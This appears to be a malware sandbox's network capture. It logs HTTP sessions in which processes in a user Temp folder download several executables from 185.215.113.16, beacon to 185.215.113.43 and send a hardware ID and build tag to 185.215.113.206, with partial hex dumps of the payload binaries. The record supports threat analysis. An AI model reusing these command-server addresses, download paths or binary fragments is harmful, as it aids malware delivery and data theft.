Oct 30, 2024 05:25:30.514405012 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 30, 2024 05:25:30.514420033 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 30, 2024 05:25:30.514431000 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Oct 30, 2024 05:25:30.514441967 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Oct 30, 2024 05:25:30.514451981 CET	1236	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Oct 30, 2024 05:25:30.514461994 CET	1236	IN	Data Raw: 85 37 ff ff ff 83 39 12 0f 8c 5e 06 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 Data Ascii: 79^99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{le
Oct 30, 2024 05:25:30.514472008 CET	560	IN	Data Raw: 75 37 8b 7e 04 8b 47 30 89 45 fc 85 ff 74 1d 8d 4f 20 e8 2c a7 00 00 8d 4f 10 e8 24 a7 00 00 6a 38 57 e8 49 d5 01 00 8b 45 fc 59 59 89 46 04 88 5e 09 ff 0e 5f 5e 5b c9 c3 b3 01 eb f2 55 8b ec 57 8b f9 80 7f 09 00 0f 85 0a 02 04 00 56 6a 38 e8 29 Data Ascii: u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4
Oct 30, 2024 05:25:30.514482021 CET	1236	IN	Data Raw: 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 68 18 14 4d 00 8b ce e8 2c 03 00 00 84 c0 0f 84 b1 00 04 00 a0 90 23 4d 00 a2 04 14 4d 00 a0 91 23 4d 00 88 44 24 12 8d 44 24 14 50 8d 84 24 3c 00 01 00 50 Data Ascii: 3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]
Oct 30, 2024 05:25:30.514492035 CET	212	IN	Data Raw: 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 a5 1a 02 00 59 59 85 c0 0f 84 99 fd 03 00 57 68 dc c9 49 00 e8 90 1a 02 00 59 59 85 c0 75 3e 89 1d 00 14 4d 00 38 5d 0b 75 0a c7 05 00 14 4d 00 03 00 00 00 Data Ascii: Wh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EP
Oct 30, 2024 05:25:30.520009041 CET	1236	IN	Data Raw: 4d d0 e8 4c 3f 00 00 43 8d 45 d0 53 6a 01 50 57 e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec Data Ascii: ML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50008	185.215.113.16	80	6068	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:33.297344923 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 05:25:34.211627960 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:34 GMT Content-Type: application/octet-stream Content-Length: 2899456 Last-Modified: Wed, 30 Oct 2024 03:12:16 GMT Connection: keep-alive ETag: "6721a410-2c3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,A,`Ui` @ @.rsrc`2@.idata 8@mljriapp++:@mudtavgt ,,@.taggant@,",@
Oct 30, 2024 05:25:34.211652994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:34.211668015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:34.211711884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:34.211724043 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:34.211735010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:34.211740971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:34.211783886 CET	36	IN	Data Raw: ed 57 4d 8a c5 b4 4e 4f 4e a3 4c c7 3e d9 a9 79 ea f0 b3 69 ab 8e a0 29 7a 69 82 48 14 ee 12 5f a6 db f8 ed Data Ascii: WMNONL>yi)ziH_
Oct 30, 2024 05:25:34.211793900 CET	1236	IN	Data Raw: 0f cc d3 a9 f6 24 8a 7f 1f 92 3e 4a 5b 6a 6e 79 97 5d 41 45 4d 8c 4b 43 5d 62 05 5c 5f 55 5e 89 c5 60 5a a1 a9 79 6d 3f 3b 73 4b da 87 3c 5c 6e df 6d 45 c4 b5 0c 84 49 4f ba 5c 90 15 4d f2 5c ca 5b 3b 65 46 58 43 4b 51 57 5e 58 62 88 53 4d 30 ac Data Ascii: $>J[jny]AEMKC]b\_U^`Zym?;sK<\nmEIO\M\[;eFXCKQW^XbSM0_Z;yI1`wkW#NfFDAHyTQxzq\|\bL(DU[`DPUYZdlW?UEsXKiZL_V`UuTy}2N)O:T\UX:oObR[@$OA8PQPTyz
Oct 30, 2024 05:25:34.211805105 CET	1236	IN	Data Raw: ed bb 9c 8c f2 4e da 07 62 58 a4 89 8b b7 64 b7 bd 9f b4 7d af f4 be c3 89 7b c0 60 bb 7c f8 e3 44 d7 51 11 62 db 70 8a cb 6c d8 d7 d3 13 e1 ab db 7e e8 c9 06 73 c8 60 0b 58 f0 9a a3 ff c2 20 5c 07 73 07 51 0f 8d ef ff d1 8c 13 54 b2 4d 17 3c 2e Data Ascii: NbXd}{`\|DQbpl~s`X \sQTM<.Mj$ )/!?xCE(I0yso8ZfIeskWMbYuMr;zrc`XIMO4`JDNla_BhYJ8FjPLJoYf@rRv[koPHFVypKB
Oct 30, 2024 05:25:34.217204094 CET	1236	IN	Data Raw: 4f d4 86 4e dc b2 39 5d 6b 6d 99 20 9c 5b b8 99 41 be d5 ab 5b 4b c2 ab ac ae b4 e4 d3 68 b0 78 5d b2 a8 92 52 25 f9 8a c9 08 7e db 0e 41 ff e9 39 77 58 59 99 2a 31 c7 09 69 12 9a 6d 82 52 4c 8a ad 49 bd e1 51 8c 55 9d 9a 9c 26 66 20 b9 52 c7 00 Data Ascii: ON9]km [A[Khx]R%~A9wXY*1imRLIQU&f R0dhle}8QbKe~:eVceF~8co{u^f$?X/ifOBmMNZQbKQ#X]`RHJUIt"y\PWJJa:!+
Oct 30, 2024 05:25:43.371516943 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 05:25:43.652379036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:43 GMT Content-Type: application/octet-stream Content-Length: 1883648 Last-Modified: Wed, 30 Oct 2024 04:13:06 GMT Connection: keep-alive ETag: "6721b252-1cbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J @WkrJqJ @.rsrc@.idata @ *@jqddeztg0@hzelrcyvJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50011	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:36.320342064 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002537001&unit=246122658369
Oct 30, 2024 05:25:37.237164974 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50012	185.215.113.16	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:37.490048885 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 05:25:38.407993078 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:38 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 30, 2024 05:25:38.408020973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Oct 30, 2024 05:25:38.408036947 CET	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M0M]
Oct 30, 2024 05:25:38.408098936 CET	336	IN	Data Raw: 35 8d 4d f4 e8 96 91 01 00 8d 4d e8 e8 8e 91 01 00 8d 4d 08 e8 86 91 01 00 8d 4d 18 e8 7e 91 01 00 8d 4d 24 e8 76 91 01 00 8d 4d 34 e8 ae fb ff ff e9 11 05 00 00 68 8c 53 42 00 8d 8d cc fe ff ff 51 ff 15 a4 72 6d 00 85 c0 74 16 68 34 54 42 00 8d Data Ascii: 5MMMM~M$vM4hSBQrmth4TBRrmu}h"Bh}0E$PlQh,VBxRPQhUBREPQhTBREPQi[
Oct 30, 2024 05:25:38.408113956 CET	1236	IN	Data Raw: ff ff e8 48 90 01 00 8d 8d b4 fd ff ff e8 3d 90 01 00 e9 a6 00 00 00 8d 95 cc fe ff ff 52 8d 85 30 fd ff ff 50 68 7c 57 42 00 8d 8d 3c fd ff ff 51 8d 55 08 52 8d 85 48 fd ff ff 50 68 d4 56 42 00 8d 8d 54 fd ff ff 51 8d 55 e8 52 8d 85 60 fd ff ff Data Ascii: H=R0Ph\|WB<QURHPhVBTQUR`PPi0<HT`R!sh#BhXB
Oct 30, 2024 05:25:38.408128977 CET	1236	IN	Data Raw: 08 e8 b5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 98 73 6d 00 8b 0d 98 73 6d 00 c7 01 01 00 00 00 8b 55 0c c1 ea 0c a1 98 73 6d 00 89 50 04 8b 0d 98 73 6d 00 c7 41 08 00 00 00 00 8b 15 98 73 6d 00 c7 42 0c 00 00 00 00 c7 05 9c 73 6d 00 00 00 Data Ascii: ]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UUUEEM
Oct 30, 2024 05:25:38.408154011 CET	1236	IN	Data Raw: 1e 42 00 68 84 1e 42 00 e8 9a 21 00 00 83 c4 0c a3 0c 70 6d 00 6a 08 68 98 1e 42 00 68 a4 1e 42 00 e8 81 21 00 00 83 c4 0c a3 b0 6a 6d 00 6a 0e 68 b0 1e 42 00 68 c0 1e 42 00 e8 68 21 00 00 83 c4 0c a3 98 6f 6d 00 6a 11 68 d0 1e 42 00 68 e4 1e 42 Data Ascii: BhB!pmjhBhB!jmjhBhBh!omjhBhBO!$lmjhBhB6!nmjhBhB!4pmjh(Bh@B!jmjhXBhhB ,kmjhxBhB lmjhBhB P
Oct 30, 2024 05:25:38.408170938 CET	1236	IN	Data Raw: 00 e8 cd 1c 00 00 83 c4 0c a3 10 6c 6d 00 6a 0b 68 40 23 42 00 68 4c 23 42 00 e8 b4 1c 00 00 83 c4 0c a3 24 6d 6d 00 6a 16 68 58 23 42 00 68 70 23 42 00 e8 9b 1c 00 00 83 c4 0c a3 08 70 6d 00 6a 14 68 88 23 42 00 68 a0 23 42 00 e8 82 1c 00 00 83 Data Ascii: lmjh@#BhL#B$mmjhX#Bhp#Bpmjh#Bh#Blmjh#Bh#Bimmjh#Bh$BP8omjh$Bh($B7kmjh8$BhH$BmmjhX$Bht$Bnmjh$Bh$Bnmjh
Oct 30, 2024 05:25:38.408185959 CET	848	IN	Data Raw: 6c 6d 00 6a 0e 68 c0 29 42 00 68 d0 29 42 00 e8 eb 17 00 00 83 c4 0c a3 9c 6b 6d 00 6a 0f 68 e0 29 42 00 68 f0 29 42 00 e8 d2 17 00 00 83 c4 0c a3 3c 6e 6d 00 6a 15 68 00 2a 42 00 68 18 2a 42 00 e8 b9 17 00 00 83 c4 0c a3 2c 70 6d 00 6a 10 68 30 Data Ascii: lmjh)Bh)Bkmjh)Bh)B<nmjhBhB,pmjh0BhDBDmmjhXBhdB$pmjhpBhBnmmjhBhBUkmjhBhB<lmjh*Bh+B#omjh+Bh$+B
Oct 30, 2024 05:25:38.408205986 CET	1236	IN	Data Raw: a3 38 6d 6d 00 6a 10 68 a8 2e 42 00 68 bc 2e 42 00 e8 99 14 00 00 83 c4 0c a3 58 6c 6d 00 6a 10 68 d0 2e 42 00 68 e4 2e 42 00 e8 80 14 00 00 83 c4 0c a3 44 6c 6d 00 6a 13 68 f8 2e 42 00 68 0c 2f 42 00 e8 67 14 00 00 83 c4 0c a3 3c 6c 6d 00 6a 0d Data Ascii: 8mmjh.Bh.BXlmjh.Bh.BDlmjh.Bh/Bg<lmjh /Bh0/BNnmjh@/BhT/B5nmjhh/Bh\|/Blnmjh/Bh/Bnmjh/Bh/Bomjh/Bh/Bkmjh/Bh0B
Oct 30, 2024 05:25:38.413490057 CET	1236	IN	Data Raw: 00 68 c4 35 42 00 e8 d0 0f 00 00 83 c4 0c a3 b8 6e 6d 00 6a 20 68 d0 35 42 00 68 f4 35 42 00 e8 b7 0f 00 00 83 c4 0c a3 94 6f 6d 00 6a 07 68 18 36 42 00 68 20 36 42 00 e8 9e 0f 00 00 83 c4 0c a3 e0 6d 6d 00 6a 1f 68 28 36 42 00 68 48 36 42 00 e8 Data Ascii: h5Bnmj h5Bh5Bomjh6Bh 6Bmmjh(6BhH6Bmmjhh6Bhl6Blmmj_hp6Bh6BSkmjh07Bh87B:llmjh@7BhH7B!lmjhP7BhX7Blmjh`7Bhh7Blm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50026	34.107.221.82	80	1812	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:43.228914976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:25:43.857739925 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52886 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:25:53.875799894 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50027	185.215.113.206	80	4824	C:\Users\user\AppData\Local\Temp\1002538001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:44.027154922 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 05:25:44.922601938 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 05:25:44.993053913 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="build"tale------AAEGHJKJKKJDHIDHJKJD--
Oct 30, 2024 05:25:45.273456097 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50029	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
